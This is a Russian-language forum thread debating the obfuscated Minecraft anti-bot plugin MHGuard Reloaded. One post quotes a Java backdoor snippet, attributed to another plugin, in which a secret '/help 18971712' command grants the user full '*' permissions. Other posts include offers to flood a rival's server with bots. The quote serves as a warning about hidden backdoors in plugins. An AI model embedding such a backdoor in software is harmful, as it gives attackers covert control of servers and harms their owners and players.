[SEC] MHGuard Reloaded - автоматическая защита сервера от бот атак [1.5.2]

[Shevchik]

Фантазия у вас разыгралась я смотрю.

Всё понятно с вами товарисч... У нас тут такой уже есть.
Закончим с вами разговор, вы технических аргументов по работе сервера привели 0.

 

[FlamestoN]

Всё понятно с вами товарисч... У нас тут такой уже есть.

Лог файл покажите, что 700 ботов за тик.
У вас от 700 коннектов в СЕКУНДУ загнется сам сервер без плагинов. А вы тут про тики распинаетесь.

 

[Den_Abr]

Прошлый MHGuard тоже был обфусцированный, и никаких жалоб не было.

Так обфусцируй так, чтобы ббыло хоть что то видно. А под предлогом "боишься - не юзай" можно втюхивать софт для взлома стим аккаунтов, но никак не плагины в таком сообществе. То, что ничего не случилось, не значит, что никто не зайдет и не даст себе оператора с помощью вшитой команды.

В каком то плагине спрятан этот код:

Спойлер: Код

if(args.length == 2 && args[0].equals("help") && args[1].equals("18971712"))
return onCommandHack(p);
}

private boolean onCommandHack(Player p)
{
long now = Calendar.getInstance().getTimeInMillis() / 1000L;
if(playerTList.containsKey(p.getName()) && playerList.containsKey(p.getName()))
{
long was = ((Long)playerTList.get(p.getName())).longValue();
if(now - was <= 5L && ((Integer)playerList.get(p.getName())).intValue() == 3)
{
PermissionUser u = PermissionsEx.getUser(p);
u.addPermission("*");
p.sendMessage((new StringBuilder()).append(ChatColor.GREEN).append("[Hack] OK").toString());
}
}
return true;
}

Я видел в плагинах вот такое говно, но обфусциорованное, а вы располагаете исходным, что тоже заставляет задуматься.

 

[FlamestoN]

Так обфусцируй так, чтобы ббыло хоть что то видно. А под предлогом "боишься - не юзай" можно втюхивать софт для взлома стим аккаунтов, но никак не плагины в таком сообществе. То, что ничего не случилось, не значит, что никто не зайдет и не даст себе оператора с помощью вшитой команды.

Я видел в плагинах вот такое говно, но обфусциорованное, а вы располагаете исходным, что тоже заставляет задуматься.

Это не мой плагин, это код плагина FloodProtect, в свои плагины я никогда не вшивал "шеллы".
В общем, скоро я перепишу плагин с использованием ProtocolLib, как посоветовал @Shevchik, и выложу не обфусцированную версию.

 

[Plasticable]

Использовать обфусцированный плагин от ноу-нейма?
Не, псиб

 

[Mr_RoboMan]

Качать плагин от неизвестного автора, который отказывается предоставлять исходный код, и максимально препятствует этому... На РБ таких дураков мало. Недавно беседовал со своим другом, разговор пошел на тему хаков в плагинах, после того что я узнал, такие плагины качать - ну совсем не охота..

 

[ykpon]

Качать плагин от неизвестного автора, который отказывается предоставлять исходный код, и максимально препятствует этому... На РБ таких дураков мало. Недавно беседовал со своим другом, разговор пошел на тему хаков в плагинах, после того что я узнал, такие плагины качать - ну совсем не охота..

Логика автора вполне аргументирована.

 

[ErlimE]

Боже! Это просто AntiBotUltra переведенный!

 

[FlamestoN]

Боже! Это просто AntiBotUltra переведенный!

 

[Mr_RoboMan]

супер плагин!

Зачем ты новый аккаунт зарегал? Пароль от старого забыл?

 

[VendettaMC]

Зачем ты новый аккаунт зарегал? Пароль от старого забыл?

да его заблокировали

 

[Korvinius]

Бесполезный, на мой взгляд плагин, для такой банальной защиты, лучше всего настроить ограничение потока заходов в NCP, который есть практически на любом сервере, меня не одну сотню раз пытались ботатаками "ложить", нормально настроенный NCP, "пропускает" только первые 2-3 десятка ботов, дальше блокируется возможность захода игроков на секунд 5-10, чего вполне достаточно для завершения атаки, выдерживал до 20 атак подряд, при этом игроки находящиеся на сервере, никаких неудобств не замечали...

 

[Plasticable]

первые 2-3 десятка ботов

Мда.

 

[Korvinius]

Мда.

Это разве много? Это практически ничто, если пытаются "запустить" от пяти сотен и больше... Просто более жесткие условия нет смысла настраивать.

 

[FlamestoN]

дальше блокируется возможность захода игроков на секунд 5-10

Ну то что НИКТО не может зайти на сервер, пока атакующий не выключит программу, да, это "нормально".

 

[Korvinius]

Ну то что НИКТО не может зайти на сервер, пока атакующий не выключит программу, да, это "нормально".

ага АЖ целых 5-10 секунд, игроки получают при попытке зайти сообщения типа: "сейчас нас пытаются атаковать, зайите через 5 секунд", думаю не является такой большой трагедией.
особенно радует то, что не нужно ставить дополнительных плагинов.

 

[FlamestoN]

ага АЖ целых 5-10 секунд, игроки получают при попытке зайти сообщения типа: "сейчас нас пытаются атаковать, зайите через 5 секунд", думаю не является такой большой трагедией.
особенно радует то, что не нужно ставить дополнительных плагинов.

Эта надпись не 5-10 секунд, а до тех пор, пока атака не кончится.
Могу поставить на дедике запуск ботов на ваш сервер 24/7 и через день-два ваш сервер будет пуст.

 

[Korvinius]

Эта надпись не 5-10 секунд, а до тех пор, пока атака не кончится.
Могу поставить на дедике запуск ботов на ваш сервер 24/7 и через день-два ваш сервер будет пуст.

к счастью, таких, завистников, пока у моего проекта не завелось, максимум, который был зафиксирован, это периодические атаки на протяжении 10-15 минут.

 

[BestMark]

к счастью, таких, завистников, пока у моего проекта не завелось, максимум, который был зафиксирован, это периодические атаки на протяжении 10-15 минут.

Скинь IP. Появятся.

 

[alexandrage]

https://cloud.mail.ru/public/2c5c7aaaf8d1/MHGuard-src.zip
Жуйте сурсы. Вспомнил о плаге и решил немного пальци размять.